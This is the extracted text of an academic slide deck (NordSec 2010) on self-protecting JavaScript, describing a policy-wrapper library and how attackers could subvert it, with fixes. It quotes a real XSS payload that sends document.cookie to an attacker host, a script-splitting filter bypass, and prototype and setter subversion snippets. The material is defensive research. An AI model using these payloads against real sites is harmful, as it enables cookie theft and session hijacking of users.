Upload
phu-phung
View
152
Download
1
Tags:
Embed Size (px)
DESCRIPTION
Presented at the 15th Nordic Conference in Secure IT Systems, NordSec 2010, Espoo, Finland, October 27-29, 2010 by Jonas Magazinius & Phu Phung More detail: http://www.cs.uic.edu/~phu/
Citation preview
Safe Wrappers and Sane Policies for Self Protecting JavaScript*
Jonas Magazinius, Phu H. Phung, and David SandsChalmers, Sweden
Nordsec 2010Espoo, Finland
October 29, 2010
* This work has been accepted and presented at OWASP AppSec Research ’10
The problems
• Injected (untrusted) JavaScript code (e.g.XSS) – A malicious user (the attacker) injects potentially
dangerous JavaScript code into a webpage via data entry in the webpage, e.g.:• blog• forum• web-mail
• Third party scripts (e.g. advertisement, mashup web applications)
• Buggy code
XSS attack example<B C=">" onmouseover="alert(document.location='http://attacker.com/cookies?'+document.cookie)" X="<B "> Move your mouse here </B>
This was a real attack exploited to the open source forum phpBB 2.0.18
Difficult issues
• Filter mechanism problem:– Parser mismatch: filter does not always parse in
the same way as browser• Dynamic scripts problematic, e.g.
document.write, eval, ...<script> document.write(‘<scr’);document.write(‘ipt> malic’);var i= 1;document.write(‘ious code; </sc’);document.write(‘ript>’);</script>
<script> malicious code; </script>
The landscape of JavaScript security mechanisms
• Server filtering, but parser mismatch problem• Language subset, sandboxing• Behavioral sandboxing– Code transformation– No code transformation• Browser modification• No browser modification
Our approach: Self-Protecting JavaScript
• “inline” the policy into the JavaScript code so that the code becomes self-protecting
• The policy enforcement is implemented in a lightweight manner – does not require browser modification– non invasive: the original code (and any dynamically
generated code) is not syntactically modified, no code parser or modification
– its implementation is a small and simple aspect-oriented programming –style library
The policies
• The enforcement mechanism is security reference monitor-based• Ensure safety property of program execution
• Examples:• Only allow URI in a white-list when sending by
XMLHttpRequest• Do not allow send after cookie read• Limit the number of alerts to 2
A policy example
var alertPolicy = function(args, proceed) { if (alertCount < 2){ alertCount++; return proceed(); }else policylog(‘alert is denied');};
wrap(window, 'alert‘, alertPolicy);
Enforcement method
alert implementation
JavaScript execution environment(e.g. browsers)Native implementations
code pointers User functions
alert(..) window.alert
alert wrapper(+policy code)
Attacker codealert = function(){...};
alert wrapper
unique
Phu H. Phung, David Sands, Andrey Chudnov – cse.chalmers.se
Dagstuhl 09141, 2 April 2009
Deployment• Structure of a webpage containing policy
enforcement code
• Policies are located in the first script tag– Policy enforcement is applied for the rest of code
Dagstuhl 09141, 2 April 2009
The enforcement code can be deployed anywhere between client
and server: server side, proxy or plug-in
Breaking and fixing the library
WRAPPER POLICIES
Subversion
Subversion
Subversion
Subversion
Aliasing
Aliasing
Declarativity
Subversion
Browser environment
WRAPPER
Untrusted code
Function and object subversion
Object• prototype • valueOf( )
Function• constructor• prototype • apply( )
• call( )
{function instance}• constructor
Modifying inherited function subverts expected
behaviour
Function and Object Subversion
Wrapper code:
original.apply(this,args)
Fixing the wrapper:• original.apply=apply• Rewrite wrapper to
remove dependency
Subversion:
var org;Function.prototype.apply =
function(){ org = this}Wrapper relies on inherited function
Attacker can redefine this function and steal original
Global setter subversion
• Setters:– When this property is set, execute this function• obj.defineSetter(‘abc’,function(x){ alert(x) })• obj.abc = ‘123’; // alerts 123
• Global setters– Is inherited by all objects– Is executed even upon instantiation of new
objects(!)
Global setter subversion
function x() {
…
var x = {secret: 1};
…
}
Function closure: Global setter for “secret”:
function setSecret(sec) { // We have your secret! alert(sec);}
Global Setter subversion
Wrapper code
policy({args: arguments, proceed: original})
Fixing the wrapper:• No temporary objects?• Use “safe” objects…• Change JavaScript: Don’t
execute setters upon instantiation
Subversion
var org;Object.prototype.
__defineSetter__(‘proceed’, function(o) { org = o })Wrapper uses temporary object
to pass built-in
Attacker defines a global setter for the
proceed property and steal the built-in
Caller subversion
• The caller property of a function refers back to the function that called it – the previous function in the call stack– If function A executes function B, then B.caller refer to A– B can now access and modify part of A’s private
information, such as the arguments it was passed• Some built-ins will call external user-defined
functions by design• Others will do it implicitly• The wrapper can also trigger implicit calls
Caller subversion (built-ins)
• Example of call by design:[1,2,3].map(function(){})
• Takes function as an argument• Can not be reliably wrapped – not a problem
• Example of implicit call obj.toString = function x(){return alert= x.caller}alert(obj)
• Alert will execute the function which will restore alert• Need to know an upper bound on potential implicit calls• Remove any user defined functions on affected properties
Caller subversion (wrapper)
• We can prevent access by using a trap– Recursive functions overwrite the caller property
with itself – impossible to reach below in the call stack
– By calling the trap whenever we do a sensitive access we can protect the integrity of the wrapper
function trap(f, b) {if(b) f()else trap(f, true)
}
Breaking and fixing the library
WRAPPER POLICIES
Subversion
Subversion
Subversion
Subversion
Aliasing
Aliasing
Declarativity
Static aliases
alert
window.alert
Window.prototype.alert
constructor.prototype.alertwindow.__proto__.alert
window.window.alert
Inheritance graph
Object.prototype.toString
Window.prototype.toString
window.toString
Function.prototype.toString
alert.toString
The constructor property points
back to the parent object
wrapper
Dynamic aliases
alert
alert alert
Dynamic aliases protection
• Access to other windows is easy to prevent• Two ways of accessing content in an iframe– contentWindow property
• Access can be controlled by policy
– window.frames array• Access can be controlled to each index of the array, but not
the array as a whole• How many indices to control? - “Enough.”
– The problem is that we don’t know this when we load the page– Where enough is as many as could be included in the page– Dynamically check number of indices after each operation that might
result in the creation of an iframe
Breaking and fixing the library
WRAPPER POLICIESSubversion
Aliasing
Aliasing
Declarativity
Function and Object Subversion for Policies
Policy code
var whitelist = {"good.com":true }if(whitelist[address.substr(...))])
Fixing subversion• hasOwnProperty()• Use “safe” objects…
Subversion
Object.prototype[‘evil.com’]= true
String.prototype.substr = function() { return ‘good.com’; }
The policy writer should not have to remember this…
Policy expects certain behavior
Attacker can easily change the expected
behavior
“Safe” objects• safe() function– Creates a blank object which does not inherit from
the prototype-chain• {__proto__: null}
– Recursively copies all fields from the input object to the newly created copy
– Sometimes inheritance is required• Restore methods from safe copies
Breaking and fixing the library
WRAPPER POLICIESSubversion
Declarativity
Non-declarative vs. declarative policies
Policy code
if (whitelist[address])img.src = address;
Fixing problem
Policy declare which types itexpects in a type language andmonitor enforces it
Attack
x = {toString: function() { this.toString=
function()’bad.com’;return ‘good.com’; }
}
Policy code expect address to be a string
Attacker can pass a statefull object that pretends to be a
good string, but then changes into a bad string
WRAPPER
Declarative policies
Copy Combine
Policy
Built-in
x: ‘abc’y: {…}z: 1
x: ‘string’y: ‘number’
x: ‘abc’y: 0
x: ‘abc’y: 123
x: ‘abc’y: 123z: 1
Copy values and coerce to the type
specified by the policy
Policy can inspect and modify values
The output of the policy is merged with
the original input
Breaking and fixing the library
WRAPPER POLICIES
Declarativity
Summary
• Our approach is to control and modify the behaviour of JavaScript by monitoring the code to make it self-protecting– No browser modifications– Non-invasive
• No rewriting of the untrusted code• Solve the problem of dynamic scripts• Avoiding the need for extensive runtime code transformation
• Possible vulnerabilities of the library are addressed and fixed
• Typing for arguments to prevent malicious parameters
Dagstuhl 09141, 2 April 2009
Further work
• Case studies for particular web applications• Fully develop the framework, including
treating mashups, policies that span multiple pages
• Authoring policies:– Not easy for the programmer to ensure that all
objects are safe • Strong motivation for defining a policy language for
authoring policies which are well behaved.
Thank you!
Safe Wrappers and Sane Policies for Self Protecting JavaScript
Jonas Magazinius, Phu H. Phung, and David SandsChalmers, Sweden
http://www.cse.chalmers.se/~phung/projects/jss